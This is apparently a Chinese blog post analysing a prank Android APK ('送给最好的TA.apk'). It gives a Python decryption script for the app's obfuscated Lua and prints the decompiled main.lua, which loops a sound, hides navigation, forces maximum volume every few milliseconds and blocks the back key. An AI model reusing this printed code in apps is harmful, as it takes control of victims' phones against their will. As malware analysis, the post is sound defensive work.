­

“送给最好的TA.apk”简单逆向分析

  • 2019 年 10 月 4 日
  • 筆記

20190927收到一个apk,名字叫“送给最好的TA.apk”。文件哈希值如下:

逆向分析

用AndroidKiller对apk进行逆向分析。

发现一个0.mp3和2个lua文件。其中0.mp3就是罪魁祸首了。而lua文件打开是乱码也不是字节码。

通过分析java代码,发现调用了libarmeabi-v7alibluajava.so对lua进行解密,于是用IDA Pro 7.0 x86对so文件进行逆向。

在luaL.loadbufferx函数里,有解密过程,整个代码不复杂,编写解密脚本如下:

# -*- coding:utf8 -*-  __author__='pcat@chamd5.org'  __blog__='http://pcat.cc'    from ctypes import *  import sys    def decrypt(filename):      s=open(filename,'rb').read()      outfile='out.lua'      if s[0]==chr(0x1b) and s[1]!=chr(0x4c):          rst=chr(0x1b)          size=len(s)          v10=0          for i in range(1,size):              v10+=size              v=(c_ulonglong(-2139062143*v10).value>>32)+v10              v1=c_uint(v).value>>7              v2=c_int(v).value<0              rst+=chr(ord(s[i])^(v10+v1+v2)&0xff)          with open(outfile,'wb') as f:              f.write(rst)      else:          pass    def foo():      if len(sys.argv)==2:          filename=sys.argv[1]      else:          filename='main.lua'      decrypt(filename)    if __name__ == '__main__':      foo()

解密后是正常的lua字节码,可使用unluac进行反编译。

java -jar unluac.jar out.lua >raw.lua

解密后的init.lua:

local L0_0  appname = "233128129231187153230156128229165189231154132TA"  appver = "1.0"  appcode = "10"  appsdk = "15"  path_pattern = ""  packagename = "com.sgzh.dt"  theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth"  app_key = ""  app_channel = ""  developer = ""  description = ""  debugmode = false  L0_0 = {    "INTERNET",    "WRITE_EXTERNAL_STORAGE"  }  user_permission = L0_0

解密后的main.lua:

require("import")  import("android.app.*")  import("android.os.*")  import("android.widget.*")  import("android.view.*")  import("android.view.View")  import("android.content.Context")  import("android.media.MediaPlayer")  import("android.media.AudioManager")  import("com.androlua.Ticker")  activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)  activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)  m = MediaPlayer()  m.reset()  m.setDataSource(activity.getLuaDir() .. "/0.mp3")  m.prepare()  m.start()  m.setLooping(true)  ti = Ticker()  ti.Period = 10  function ti.onTick()    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)    activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)  end  ti.start()  function onKeyDown(A0_0, A1_1)    if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then      activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)    end    return true  end

其中,定时器不断地设置音量为15(最大值)。

安全意识的感悟

科技发展日新月异,加强关注网络安全,提高网络安全意识刻不容缓。在网络安全意识上一定要多加注意,多了解一些网络安全常识和网络安全技术问题,可以使我们能保证自己的安全。

另外,程序员制作程序的初衷应当是为了让世界更方便快捷美好之类的,而做这些乱七八糟坑人的东西,根本没有任何意义。